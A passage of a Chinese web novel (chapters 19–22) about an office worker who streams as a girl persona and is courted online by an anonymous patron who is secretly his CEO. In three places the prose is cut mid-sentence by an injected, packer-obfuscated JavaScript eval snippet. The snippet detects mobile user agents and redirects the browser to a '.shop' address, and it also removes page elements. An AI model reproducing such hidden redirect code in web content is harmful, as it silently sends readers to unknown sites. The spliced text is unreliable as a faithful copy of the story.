亏他之前还觉得秦总是个好人,对他感激涕零呢!! 啊啊啊可恶!! 心中的小人气得疯狂捶桌,景眠瞪着秦洛白下台阶的背影,眼眶都红了一圈。 - 回到家时已是傍晚,景眠连晚饭都没心思做,泡了碗速食面便坐在书桌前摊开笔记本。 密密麻麻的字迹里混着不少涂改痕迹,他耐着性子逐句梳理,将谈判的流程、双方的诉求、敲定的条款一一分类,重点标注的地方还用红笔圈了又圈,生怕漏了半点秦洛白要的“关键内容”。 窗外的天色从昏沉落到漆黑,台灯的光晕里飞着细小的尘埃,景眠揉了揉酸涩的眼,拿起手机看了眼,Q先生竟在半小时前发了消息给他。 【下班了吗?】 这班下了跟没下一样。 景眠对着屏幕长吁口气,指尖点开发语音键,刻意压下几分疲惫,切换成那道清甜软糯的声线,语气里带着点委屈的撒娇:“哥哥,我下班啦,可是领导给我派了超难的任务,明早就要交呢。” 说完,又补了个垮脸的表情包,指尖飞快敲字:【现在刚泡了碗面垫肚子,今晚怕是要通宵赶工,哭哭。】 发完,景眠便将手机搁在一旁,不敢再多聊,怕分神误了进度,转头重新埋进满桌的笔记里。 等过了半小时,才放任自己拿手机,查看消息。 【什么任务这么要紧?】 【不能明天交?】 Q先生的语气里都透出一股不满,想来是真的替他觉得委屈。 景眠的心底泛起一点暖意,指尖又点了语音键,软声里裹着几分无奈,倦意都藏不住,“打工人没办法啦~领导怎么安排我们就怎么照做咯。” 尽管景眠已经把秦洛白的小人给扎得千疮百孔,但嘴上还是一副逆来顺受好下属的形象。 他心想我又不傻,你个老Q就是霸总一枚,平时不知道怎么剥削员工,我吐槽我们领导不就等于在骂你? 而彼时的另一端,秦洛白听着语音,心底产生了几分别扭。 脾脾气当真这么好?被压榨成这样都不骂一句?恐怕背地里早把他骂得狗血淋头了吧。 食指缓缓摩挲着下巴,秦洛白眼神微沉,故意回复一句:【你们领导这么不体恤员工,怎么没想过换个工作?】 景眠看到消息,在心里腹诽:可不是嘛,黑心资本家第一名!周扒皮看了都得敬他三分! 可这话他只敢在心里打转,指尖敲出去的却是另一番话:【领导嘛,都这样,严一点也是为了工作。】 末了还不忘顺嘴捧Q先生一句:【还是哥哥心善,一看就是体恤下属的好老板,谁跟着你工作肯定是撞了大运。】 秦洛白的身子缓缓靠向椅背。 被夸了好像也没有很开心? 19.第19章 夜色渐深,景眠在书桌前不知坐了多久,累得腰都酸了。 台灯的光把他的影子拉得细长,落在墙上,困意一阵阵涌上来,他抬手揉一揉酸涩的眼,看一眼时间,竟然已经凌晨三点。 还好,没熬到天亮。 笔记已经梳理得整整齐齐,红色标注的重点清晰明了,明天应该能完美交差了。 景眠打个哈欠,准备洗个漱睡觉,没想到Q先生竟然还没睡,问他有没有完成。 心底涌上感动,景眠不由得想,他熬到这么晚,该不会是为了陪他吧? 可这甜丝丝的念头刚冒出来一秒,就被自己一盆冷水浇灭了。 他对着屏幕撇了撇嘴,默默腹诽:想什么呢景眠,人家是不用打卡上班的大佬,熬夜对他来说就是家常便饭,以前不也总深更半夜给你回消息?哪是为了陪你,纯属是你想太多,自作多情! 景眠指尖飞快敲字,把方才那点转瞬即逝的矫情掐灭得干干净净,切换回软萌声线发了条语音,带着熬夜后的沙哑,还裹着几分如释重负的轻快:“哥哥我搞定啦!笔记整理得明明白白,明天肯定能顺利交差,终于可以去睡觉咯~” 末了配了个拍胸脯的小猫表情包,又补了行文字:【现在腰酸背痛眼睛花,感觉身体被掏空,我先冲去洗漱躺平,哥哥也早点休息呀!】 发完,景眠火速冲进洗漱间,冷水扑到脸上时才算彻底清醒几分,对着镜子瞧了瞧,眼下青黑一片,连带着眼底的红血丝都清晰可见,活脱脱一副被压榨惨了的打工人模样。 他对着镜子哼了声,在心里又吐槽了秦总两句,才慢吞吞地挪去卧室。 这边刚躺进被窝,手机就震了震:【早点睡,明天见。】 景眠实在太困,看到后面那三个字,也没想那么多,下意识以为是明天再聊的意思。 【哥哥晚安咯~】 发完这条消息,他直接将手机塞到枕头底下,进入了梦乡。 而枕头下面的手机屏幕随即亮了一下,“晚安”二字跳出来,简单得没有任何修饰。 - 翌日。 景眠起晚了,醒来时已经八点十分,他匆忙地按下响了不知第几遍的闹钟,起床进了洗手间。 打工人的日常就是准时准点地打卡,只要这项任务完成,紧绷的神经便可以松懈下来。 景眠以最快的速度赶到公司后,只喝了一口水就去打印他昨晚整理的笔记了。 秦总这时候应该还没到公司,他要赶在他来之前交上去,这样就能避免掉和他面对面交流。 景眠的小算盘打得很响,可没想到他来到总经办那一层,却正好撞上秦总从电梯里出来。 人家一身剪裁利落的黑西装,领口系得一丝不苟,发丝梳得整齐服帖,连半点熬夜的倦意都没有,精神奕奕的模样,衬得一路狂奔、额角还挂着薄汗的景眠越发狼狈。 我勒个日理万机的大总裁,您都不熬夜的吗?起这么早是赶着来公司卷死我们这些打工人吗?! 心下吐槽着,景眠壮着胆子走过去,战战兢兢叫了一声“秦总”,而后把手里的文件递过去,“这是……这是您昨天交代我整理的。” 秦洛白脚步一顿,深邃的目光先扫过他微微泛红的脸颊,再落到他攥得有些发皱的文件封面上,最后定格在他那双因为紧张、镜片后微微睁大的眼睛上。 “不错,很守时。”秦洛白夸奖一句,抬手接过文件。 他的指尖不经意间擦过景眠的手指,和他微凉的指尖一碰,景眠像被烫到似的猛地缩回了手。 秦洛白状似无意地收回手,指尖摩挲着厚实的文件,淡淡开口,声音比平日里少了几分寒意,却依旧带着上位者的压迫感,“熬到几点?” “熬到凌晨三点,都核对过了,重点都标清楚了。”景眠的语气里没有邀功,只藏着几分怕被挑错的忐忑。 看他一副生怕挨训的模样,秦洛白眼底的玩味更浓,嘴上故意挑刺,“这点东西,用得着熬到三点?” 景眠心里委屈得直冒泡,大总裁真是站着说话不腰疼,三个小时的谈判内容,密密麻麻一堆要点,还要分类整理精准标注,换谁不得熬大半夜? 可他的嘴上半句不敢反驳,只能唯唯诺诺地应声:“是,我下次一定提高效率。” 秦洛白随意翻了两页,工整的字迹、清晰的分类,红色标注的重点精准戳中要害,连深海方隐晦提及的潜在需求都备注得明明白白,比他预想中还要细致周全。 景眠的能力,远超乎他的想象。 秦洛白没再说什么,拿着文件径自朝前走去。 望着他一言不发离开的背影,景眠踌躇站在原地,心想他可以回去了吗?这秦总怎么也不说一声? 就在他犯嘀咕的时候,秦洛白忽然头也没回地丢来两个字,“跟上。” 景眠心里咯噔一下,差点当场表演一个原地石化。 不是吧?他昨晚熬到凌晨三点的困意还没散,眼下的青黑都能媲美国宝,这要是再被拉去当苦力,今天怕是要在工位上当场睡过去。 景眠跟着秦洛白进了他的办公室。 秦总一进门就脱下他的西装外套,那宽肩窄腰的优越线条在贴身白衬衫的勾勒下一览无余,肩线利落如削,腰线收紧得恰到好处,衬得身形愈发挺拔劲瘦,明明只是个很日常的简单动作,却透着股浑然天成的矜贵气场。 他随手将西装搭在办公椅的靠背上,动作随性却不潦草,袖口随着抬手的动作微微上滑,露出一截线条流畅的手腕,腕间一块低调的铂金腕表泛着细碎的光,贵气又不张扬。 得亏他是个男下属,不然秦总这举动,真的很像在“色诱”。 秦洛白浑然不觉景眠心底的腹诽,他故意轻咳一声,看着景眠猛地抬头、眼神慌乱躲闪的样子,淡声开口:“站着做什么?坐。” “不……不用了,我站着就行。” 秦洛白没勉强,转身落座打开电脑,指尖在键盘上轻敲两下,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979326|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光落在屏幕上,语气听着像是随口闲聊,轻飘飘的一句话却炸得景眠头皮发麻:“你工作能力不错。” 顿了顿,他侧头看过来,深邃的眼眸里瞧不清情绪,“有没有兴趣到我身边工作?” 景眠错愕地睁大眼,黑框眼镜都差点滑下来,脸上写满了不敢置信。 昨天刚把他压榨到凌晨三点,今天就来挖人当贴身下属?怕不是想把他抓来当24小时连轴转的免费苦力吧! 呵呵,他是有多想不开,才要跳进这二十四小时待岗的“火坑”里? 心里的小人已经疯狂摆手摇头,景眠的脸上不敢露出半分抗拒,只能揣着满心惶恐婉拒道:“秦、秦总抬举了,我……我就是个新人,好多地方都还不懂,怕是胜任不了这么重要的岗位。” 他说得诚恳,字字句句都是发自内心的推辞。 策划部的苦他已经尝够了,真要是到总裁身边当助理,岂不是连摸鱼吐槽的空隙都没有了? 秦洛白知道景眠一时不会松口,他要真那么容易答应,才显得奇怪。 不过他是个聪明人,早晚能想清楚。 淡淡收回目光,秦洛白继续点着鼠标,语气听不出喜怒,却带着不容置喙的强势,“不用妄自菲薄,你的细致和悟性,比很多老员工都强。” 得到秦总的夸奖,景眠心里头还是有点儿高兴的。 任谁被上司、还是业内出了名眼光毒辣的大佬认可,都没法不膨胀,更何况他还是个盼着能做出点成绩的新人。 “这事不急着答复,你回去好好想想,明天给我答案。”秦洛白过了会儿开口道。 他本就没打算一步到位,慢慢磨,慢慢撩,才更有意思,反正他有的是时间和耐心,等着这只警惕的小兔子主动卸下防备,跳进他布好的陷阱里。 这话直接堵死了景眠想当场婉拒的后路,他只能硬着头皮应下:“是,秦总。” 心里却早已哭唧唧,只觉得前路茫茫。 答应吧,等于跳进无休止加班的深渊,不答应吧,又怕得罪这位老总,以后在公司没法混,说不定直接被开了,简直是进退两难。 “没别的事了,先回去吧。”秦洛白利落交代完事宜,便示意他可以走了。 景眠欲哭无泪地转身。 结果手搭上门把的那一瞬间,竟然听到秦总说:“出门左拐是茶水间,里面有早餐。” ??? 秦总竟然这么好心? 景眠道了一声谢,心里本来没抱什么期待,以为总经办茶水间的吃的和他们策划部差不多,谁知道进去一看,直接惊呆了。 水晶吊灯下,长桌上摆满了精致点心:法式千层酥皮层层叠叠,手工马卡龙色泽柔润,进口生巧蛋糕泛着丝绒光泽,连咖啡机都是意大利限量款,空气中弥漫着现磨豆子的醇香。 各种名贵的糕点数不胜数,看得人眼花缭乱。 这就是在总经办工作的福利吗? 谁能不狠狠心动啊!! 20.第20章 景眠站在茶水间门口,怀疑自己误入了什么米其林级别的自助餐厅。 像他们策划部,顶天了就是速溶咖啡配散装饼干,偶尔能抢着一包可口的小面包都算过年,哪儿见过这种阵仗? 走进去,景眠夹起一块草莓马卡龙,轻轻咬了一口,甜而不腻的果香在舌尖炸开,酥软的外壳裹着绵密的内馅,好吃得他不由心里哀嚎:完了完了,秦总这招也太狠了,用美食收买人心,简直是精准狙击打工人的软肋! 要是在总经办工作,岂不实现甜品自由了? 可这份欢喜没持续两秒,就被他自己强行按了下去。 景眠暗自警醒,不能被糖衣炮弹迷惑! 秦总这招叫先扬后抑,现在夸得有多狠,以后压榨得就有多狠,昨天凌晨三点的苦还历历在目,可不能好了伤疤忘了疼! 所以,吃完之后,景眠立刻逃之夭夭。 秦洛白从办公室出来,恰好看见他溜得比兔子还快的背影。 公司里的员工恨不能削尖了脑袋挤进总经办工作,他倒好,视这里为龙潭虎穴,把这人人眼红的风水宝地当成了避之不及的雷区,躲得比谁都利索。 - 晚上下了班,景眠刚关上电脑,黄经理就溜到他的工位旁,敲了敲桌子,示意他去一趟办公室。 景眠心里“咯噔”一下,还以为秦总的调任书已经光速下达到策划部了,结果他想多了。黄经理这趟来,纯粹是听说他一早给秦总送了会议纪要,特地来探口风的。 他跟着黄经理进了办公室,刚站定,就听见对方似笑非笑的声音:“景眠啊,秦总好像很器重你啊?咱们部门多少人挤破头想在秦总面前刷个脸,你小子倒是好运气。” 这话听着像夸人,实则阴阳怪气得能拧出水来。景眠扯了扯嘴角,挤出一个标准的“职场假笑”,装傻充愣地没接话。 黄经理也知道他这闷葫芦的性子,绕来绕去的没意思,干脆直接摊牌:“你给秦总的那份文件,也发我一份。” “啊?”景眠一愣,下意识道:“那不是属于商业机密吗?” “一份会议内容而已,能有什么机密?”黄经理翻了个白眼,端起领导的架子压人,“我是你顶头上司,让你发就发,哪来的那么多事?” “我……我是不是该征询一下秦总的意见?”景眠硬着头皮追问。 黄经理是真没想到这小子能轴到这份上,很多话他本来不想明说,但景眠既然揣着明白装糊涂,他也懒得绕弯子了。 他往前倾了倾身子,压低声音,眼神里的威胁藏都藏不住:“这件事情天知地知,你知我知,只要你不说,秦总怎么可能知道呢?” 就这一秒,景眠心里跟明镜似的透亮了。 跟着这种手脚不干净的领导,能有什么好日子过? 本来他还在绞尽脑汁琢磨怎么婉拒秦总,现在看来,好像没这个必要了。 - 回到家后,景眠将自己摔进沙发,主动给老Q发了消息。 【哥哥在忙吗?人家有事情想要请教你~】 景眠自知职场经验不足,不知如何抉择,想让Q先生这位霸总帮他分析一下利弊。 对面过了五分钟才回:【你说】 景眠发了语音过去,将今天发生的事儿大致上讲了一遍。 发过去的那一瞬间,景眠才猛然意识到,他好像很久没给Q先生发语音了,都是用文字交流。 换成是别的榜一大哥,肯定要表示不满,但他却从来没有说过什么。 没等多久,手机震了震:【我的建议是,哪里工资高去哪里】 景眠看着这行字,眼睛倏地亮了。 对啊!他怎么把这茬给忘了! 总经办的薪酬待遇,再怎么着也比策划部的小职员高几个档次吧?五险一金按最高档交,逢年过节的福利拿到手软,说不定还有额外的绩效奖金! 不愧是当总裁的,一针见血,就是通透。 困扰了他一整天的问题就这么轻易地拨云见雾了。 他恨不得现在就冲到秦洛白面前,拍着胸脯喊一句“老板我来啦”。 【果然还是哥哥厉害,问题一下就解决了呢!早点问你,我也不用郁闷一整天了!!】 景眠吹起彩虹屁。 而Q先生却只在意—— 【郁闷?】 【你今天心情不好?】 他是会抓关键点的。 景眠看着这两条消息,心里莫名一暖,指尖的动作都慢了半拍。 【嗯,本来是有一点点。】 【不过现在好啦!一跟哥哥聊天我就开心啦~】 景眠不放过任何一个吹捧对面的机会。 没想到,Q先生的思维那么跳跃,居然又换了个话题。 【你很喜欢穿公主裙?】 这问得有些莫名其妙,前言不搭后语。 公主裙? 景眠侧头扫了眼衣柜里那排精心收纳的洛丽塔手作裙——层层叠叠的裙撑、蕾丝花边、蝴蝶结绑带,哪一件都不是童话里那种亮闪闪的蓬蓬纱裙。 果然是直男思维…… 景眠忍不住弯了弯嘴角,心里却悄悄软了一角。 在他眼里,可爱风的裙子该不会一律统称为公主裙吧? 景眠想想都觉得好笑,给对方回过去一句语音:“嗯~哥哥我喜欢穿各种各样漂亮的小裙子。” 【给我一个你可以收到货的地址。】 问他要地址? 做什么? 景眠心生忐忑,还没来得及问,对面又发来:【给你买小裙子。】 看着那七个字,心里的忐忑瞬间被巨大的惊喜冲散。 可欢喜劲儿刚冒出头,就被惶恐狠狠按了下去。 地址意味着什么,他比谁都清楚。 那是现实的引线,一旦递出去,就可能顺着网线,把他藏在屏幕后的真实模样,彻底暴露在Q先生面前。 见面是死期,给了地址,便是离死期又近了一步。 对着屏幕发呆许久,景眠才磨磨蹭蹭地敲出一行字,带着几分小心翼翼的推脱,“哥哥对我也太好了叭,只是裙子很容易买到不合身的,我一般都是定制……” 【不是让你穿去直播】 【穿给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987356|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看】 【不合身也没关系】 【你怎样都好看】 Q先生从未一口气发过这么多的消息,四行字像一簇小小的火苗,猝不及防就燎上了景眠的心头。 他整个人僵在沙发里,脸颊以肉眼可见的速度烧了起来,从耳尖一路红到下颌线,连指尖都泛起淡淡的粉。 脑子里激烈拉扯的两个小人儿没了声响,只剩那句“你怎样都好看”在耳畔反复盘旋,甜得他心口发颤,连带着所有的惶恐与纠结,都被这突如其来的情话撞得七零八落。 这个男人怎么这么会啊!! 得亏他不是个女孩子,要不然这一颗心早就被迷得找不到回家的路了。 思前想后一番,景眠给了一个公司附近的地址,他记得那边有排快递柜,可以放在里面,下了班去取。 地址发过去,Q先生也没说什么,只让他坐等收货。 景眠不由得问了:“哥哥,你怎么会突然想到送我裙子呢?” 对面很快回复,依旧是那副让人捉摸不透的语气:【猜不到吗?】 景眠回了一个小猫摇头的表情包。 【我在哄你开心。】 看到这一句,景眠的瞳孔倏然放大,连呼吸都在一瞬间仿若停滞。 手机屏幕的光映着他极速泛红的脸颊,连带着身体都跟着发烫。 攥着手机往沙发里缩了缩,景眠好久都不知道怎么回。 明明是简单的几个字,却比他吃过的糖果都要甜,甜得他牙根发软,连带着之前害怕自己暴露的惶恐,都变成了轻飘飘的羽毛,落进心里某个柔软的角落。 终于知道这个世界上为什么会有恋爱脑存在了,碰到这样的高手,真的很难不沦陷! 指尖悬在屏幕上半天,删删改改,景眠最后只发出一个小猫打滚的表情包,连带着一句软乎乎的语音,尾音都带着点没藏住的颤:“哥哥,你对我也太好了叭……” 发完,景眠害羞得把脸埋进沙发抱枕里,恨不得把自己团成个球。 好奇怪,他的身体为什么这么烫?心脏也快得像揣了个小马达,撞击胸口“咚咚”的声响大得要盖过窗外的晚风。 预感不妙,景眠火速冲进洗手间,洗了把冷水脸。 冰凉的水顺着下颌线往下淌,滴落在锁骨窝里,激得景眠打了个哆嗦,脸颊的热度却半点没褪。 待平静以后,他上网搜索—— 喜欢上一个人是什么反应? 搜索结果跳出来的瞬间,景眠的呼吸都跟着顿了顿。 看到对方消息会忍不住嘴角上扬、会反复翻看聊天记录、在意对方的每一句话,连随口的关心都能记很久、和对方说话会紧张,会害羞,甚至语无伦次、会因为对方的一句话开心很久…… 一条一条往下看,景眠的脸越来越红,活像被人当面扒了马甲。 完了!全中了怎么办?! 这不就是他现在的样子吗?! 景眠瘫回沙发上,把手机扔到一边,抬手捂住发烫的脸,对着天花板哀嚎一声。 他该不会真的对一个连面都没见过的同性动心了吧?! 21.第21章 翌日,景眠度过了很平静的一天。 秦总说给他时间考虑,期限不知道是多久,像是在他心尖上悬了把剑。 不过,景眠经过大半天的思考,也彻底捋清楚了,调到总经办那属于升职,就算不为加薪,能跟在秦总那种大人物身边,长长见识也是好的,多少人想求都求不来。 Q先生的快递寄来得很快,下午景眠就收到快递柜的取件码。 不知道老Q的审美如何,给他寄来的会是什么风格的女装,怀揣着期待,景眠打车前往,拿到快递后直接回了家。 路上,他猜测了一番,根据这沉甸甸的重量来看,可能有五条以上的裙子,估摸着是可爱风的。 然而,景眠拆开快递后,映入眼帘的第一件就是那种日系风格的制服裙。 一条典型的日系制服裙,灰白色紧身衬衫,领口缀着小巧的蝴蝶结,下身是及膝的深蓝百褶裙,搭配一双纯白过膝袜,连袜口的蕾丝花边都精致得不像话。 纯欲又性感。 啧,果然网上说得没错。 直男最爱这一口。 景眠谈不上喜不喜欢,勉强能穿。 他接着翻看第二条,竟然是非常性感的白色蕾丝镂空的款式,里面配了件真丝打底的吊带。 桥豆麻袋—— 这裙子也太……暴露了吧? 要是没有里面那件打底,搞得好像情趣内.衣似的。 景眠不死心地翻了翻剩下的衣服。 好家伙,第三条是粉嫩嫩的洛丽塔小裙子,蓬蓬的裙摆缀满蝴蝶结,第四条直接是御姐风的黑色包臀裙,短得堪堪遮住大腿根,第五条好像是猫女装,有个可爱的猫耳朵还有……毛绒绒的尾巴? 看着那堆风格迥异的女装,景眠无语凝噎。 行吧,直男的审美果然是个谜。 清纯、性感、软萌、御姐,这是把所有风格都集齐了,打算让他每天换着花样穿吗? 也不知这些裙子是不是秦总亲自挑选的,他那么忙,应该没空吧?那是谁买的?难不成是秘书? 景眠猜不到,也想不通,买这么多不同风格的裙子给他是什么意思,难道是在暗示什么? 拎起那条日系制服裙,景眠对着镜子比划了两下。 不得不说,这料子摸着是真舒服,版型也绝了,紧身衬衫勾勒出纤细的腰线,超短裙衬得双腿笔直修长,配上那双白色过膝袜,活脱脱一个清纯又带点涩气的日系学姐。 价格应该不便宜吧? 景眠看了眼吊牌,吓得腿一软。 58888?? 他没看错吧?? 这是金子做的吗? 景眠接着看了眼其他几条裙子的吊牌,好家伙,看似不怎么起眼的蕾丝镂空裙五位数,洛丽塔小裙子直接奔着七位数去了,就连那条猫女装的尾巴,吊牌上的数字都够他吃半年的火锅! 不仅审美是个谜,霸总的钞能力更是离谱得吓人啊! 就在景眠震惊的时候,霸总的消息发来了: 【裙子收到了?喜欢吗?】 这让他怎么回?难不成实话实说,吐槽他花大价钱买了一堆“奇装异服”? 当然不行!不管好不好看,这都是人家的一番心意。况且,这是Q先生第一次给他寄裙子,买这么多风格,说不定就是想试探他的喜好,下次就能精准踩雷……啊不,精准拿捏了。 景眠清了清嗓子,调整出最惊喜甜软的语气,按下语音键:“收到啦!一回家我就迫不及待拆开了,裙子都超漂亮的,风格还各不相同,一看就是哥哥精心挑选过哒~ 那我要怎么感谢哥哥才好呢?” 话音落下,景眠才后知后觉地想拍死自己——这不是纯纯给自己挖坑吗?! 果然,Q先生等的就是这句话,几乎是秒回: 【穿上我看看】 看到这五个字,景眠瞬间悟了。 男人果然都是用下半身思考的动物!对他们,真的不能抱有任何期待! 说什么寄裙子是为了哄他开心,结果是给自己谋福利,难怪寄来的全是这种裙摆盖不住屁股的款式! 想想自己昨晚那么感动,甚至还心跳加速,景眠就觉得好笑。 不过还好,他是个男的,拍就拍了,反正隔着屏幕,对方对着照片YY也碍不着他什么事。 对着屏幕沉默了会儿,景眠才慢吞吞敲字回复:【有好几款呢?哥哥想看我穿哪种?】 景眠自然是故意这么问的。 第一选择最能暴露人的品味。 没想到,老Q根本不上钩。 【穿你喜欢的】 他把皮球踢了回来。 景眠发了个害羞的表情包过去。 【那我要先洗个澡哦~】 男人的胃口要吊足,不能太容易满足。 【不急】 把手机往沙发上一扔,景眠磨磨蹭蹭地冲进浴室。 热水哗哗地浇在身上,洗去了一整天的疲惫,也把羞耻感冲淡了不少。 洗完澡,他裹着浴巾出来,目光在那堆天价裙子上扫了一圈,选中了最中规中矩的制服裙。 这种裙子是可以穿出门的,还没那么涩情。 景眠当时是这样想的,可没想到换衣服的过程简直堪比打仗,紧身衬衫套在身上,勾勒出纤细的腰线,有点绷得慌,超短裙堪堪遮住大腿根,走动间还会往上滑,隐隐约约露出白色的底裤。 最后套上那双白色过膝袜,景眠对着镜子一照—— 刚洗过的发丝微湿,垂在额角,皮肤因热水蒸腾而泛着健康的粉红。 制服衬得他肩线柔美,腰肢不盈一握,裙摆下露出的双腿笔直修长,过膝袜的边缘陷在腿弯处,勾出一道令人遐想的弧线。 这哪里是中规中矩? 分明是把清纯和勾人拿捏得死死的! 指尖轻拂裙摆,景眠膝盖并拢,缓缓跪在镜前毛绒绒的白色地毯上。 贵有贵的道理。 光是这版型,拍起照来都自带高级感。 深吸一口气,景眠将手机摄像头对准镜子里的倒影,调整了好几遍角度,特意避开脸,只拍了从脖颈到膝盖的位置。 他跪坐在毛绒地毯上的姿势,衬得双腿愈发笔直修长,又白又嫩的牛奶肌在灯光下,更显诱惑,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995631|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膝袜的边缘刚好卡在腿弯,透着一股不经意的涩气。 按下快门的瞬间,他的心跳快得像是要冲破胸膛。 照片拍得很满意,但景眠并没有第一时间发出去,而是慢条斯理地整理起那些裙子,将它们一件一件挂进衣橱。 该着急的人不该是他,为什么那么快发? 挂完裙子,景眠又收拾起卫生,不知不觉,忙活了一个多小时。 他拿起手机看一眼,并没有新的消息。 这Q先生还真沉得住气呢。 景眠微微挑眉,感觉是时候了,将照片发给了对方。 而此刻,秦洛白正坐在顶层办公室的皮质沙发上,指尖轻点屏幕,等来了那张照片。 他原本只是想试探,想看看一个在他眼前打转的普通男生,穿上他亲手挑选的裙子会是怎样的光景,可当画面映入眼帘时,呼吸骤然一滞。 秦洛白的指尖在手机屏幕上轻轻一顿,深邃的眼眸骤然收紧。 暖黄的灯光勾勒出纤细的脖颈线条,顺着精致的锁骨往下,衬衫被腰线收得极紧,下摆微微掀起,露出一截雪白的腰腹,弧度漂亮得难以言喻。 他跪坐在毛绒绒的地毯上,双腿笔直修长,白色过膝袜的边缘恰好陷在腿弯的软肉里,袜口与裙摆之间的肌肤,白得刺眼,又软得让人心尖发痒。 明明只是一张半身照,却像一把火,从眼底直烧进骨髓。 镜中人透出一股不自知的娇媚,勾得他忍不住去想象,衬衫下摆遮住的地方,会是怎样的光景。 喉结滚动着,男人骨节分明的手指反复摩挲着屏幕边缘,眸色沉得像是淬了墨。 他想起白天在公司里看到的景眠,清瘦的身材被宽松的衬衫所遮挡,任谁也想不到还有这样诱人的一面。 连原本笃定的秦洛白都要怀疑,他们究竟是不是同一个人。 【很漂亮】 过了几分钟后,秦洛白淡淡回复一句。 对面似乎不太满意这样的反馈:【就只是漂亮吗?哥哥好敷衍我哦~】 看着屏幕上那句带着点委屈的抱怨,秦洛白的唇角漫出一抹极淡的、带着点玩味的笑意。 【不然你还想让我怎么夸你?】他故意反问。 【算了,哥哥肯定是不喜欢。】 【我还是不要自讨没趣了。】 景眠以退为进,活像一只狡黠的小狐狸。 私下里的他如此伶牙俐齿、活泼可爱,怎么与现实中反差那么大? 秦洛白聊天时都不免产生了一股割裂感。 他想,自己必须要来一次真正的确认,以消除心头万分之一的疑虑。 数秒后,秦洛白认真回复道:【喜欢,下次再给我拍】 发送完毕,他不由自主地又点开那张照片,放大,再放大,目光黏在那截露出的腰腹上,喉结不受控制地滚动了一下。 那里,好像有一颗不太明显的红痣。 但室内光线柔和,照片略带朦胧,模糊不清,无法确证。 痣,是分辨是否为同一个人的最好方式。 思及此,秦洛白又发去一句:【只拍了一张?】 22.第22章 啧,这就不满足了? 看到Q先生的回复,景眠倒是一点都不例外。 人的本性是贪婪,何况男人。 不过胃口越大,越不能那么快满足。 他弯了弯唇角,指尖飞快地在屏幕上敲打:【人家第一次穿,害羞嘛~就只好意思拍一张】 末尾还加了个红着脸的小猫表情包。 发完,景眠故意把手机扔到一边,起身去倒了杯温水。 秦洛白岂会看不出景眠是在故意吊他胃口,偏偏那语气娇得很,让人发不起火来。 他心下不爽,却又不能直接戳穿。 思虑片刻,索性直接问:【你的腰上好像有颗红痣?】 景眠看到这条消息,呼吸一滞。 他下意识点开照片看了眼,自己的腰上有红痣?他都没怎么注意过。 这男人的观察力还真细致。 景眠坐到沙发上,撩起衬衫下摆,往腰侧的方向瞅。 暖黄的灯光打在皮肤上,果然在靠近髋骨的位置,卧着一颗米粒大小的红痣,颜色淡得像被水晕开的胭脂,不仔细看根本发现不了。 心里“咯噔”一下,景眠突然有点儿害怕,这人什么眼神,隔着一张模糊的照片,居然能注意到这种细节? 指尖蹭了蹭那颗痣,他回复:【哥哥怎么知道的?我自己都没留意过呢。】 得到确认后,秦洛白便不再深究这个话题。 【谢谢你今天为我拍照】 【我很喜欢】 两人又闲聊几句,景眠突然收到如此正经的回复,心跳陡然漏了一拍。 明明这里的喜欢指的是喜欢照片,却还是让他的心脏莫名其妙地躁动。 【那……哥哥下次想看什么样的?】 原本,景眠想问的是‘哥哥喜欢我吗’,但文字也会言不由衷,不随心动。 这样的问题问了又有何意义,就算回答的是“喜欢”,也只是喜欢网上那个声音甜美的元气少女“小荔酱”。 【穿你喜欢的】 Q先生表现得还是很尊重他。 景眠好像有点儿看不透这个人。 时而温柔,时而强势。 思绪放空了会儿,他困倦地打个哈欠,决定还是去睡觉,于是向对面道了一声晚安。 没想到Q先生与此同时问他:【想好怎么应对领导了吗?】 他还挺关心他的私事。 【我基本考虑清楚了】 【哥哥说得对,哪里工资高去哪里】 【嗯,早点休息】 【晚安】 今日的聊天到此又告一段落。 景眠的心底莫名其妙涌上一阵失落,潜意识里似乎不太舍得就这样结束。 可是再跟他聊下去,他的心里只会越来越慌,再也无法像最初那样轻松应对,哪怕满嘴跑火车也无所谓。 夜半。 窗外的月光透过薄窗帘,洒下一片朦胧的银辉。 景眠翻来覆去许久也没有睡意,把被子掀到一边,赤脚踩在冰凉的地板上,去给自己倒了杯水。 他静静地坐在窗前,看着外面如墨染般厚重的夜色,心中喃喃:景小眠,你这次该不会要玩脱了吧? 当初扮作少女形象开直播,只是因为他爱穿女装,想让自己在虚拟世界里活成另外的样子,怎么也没想到碰见一个Q先生…… 现在跟他坦白,是不是转眼就被人给拉黑了? 到那时,别说是喜欢,只怕他会对他憎恶到骨子里。 毕竟,任谁发现自己聊了这么久的“娇软妹妹”,其实是个男人,都会觉得被自尊受辱了吧? 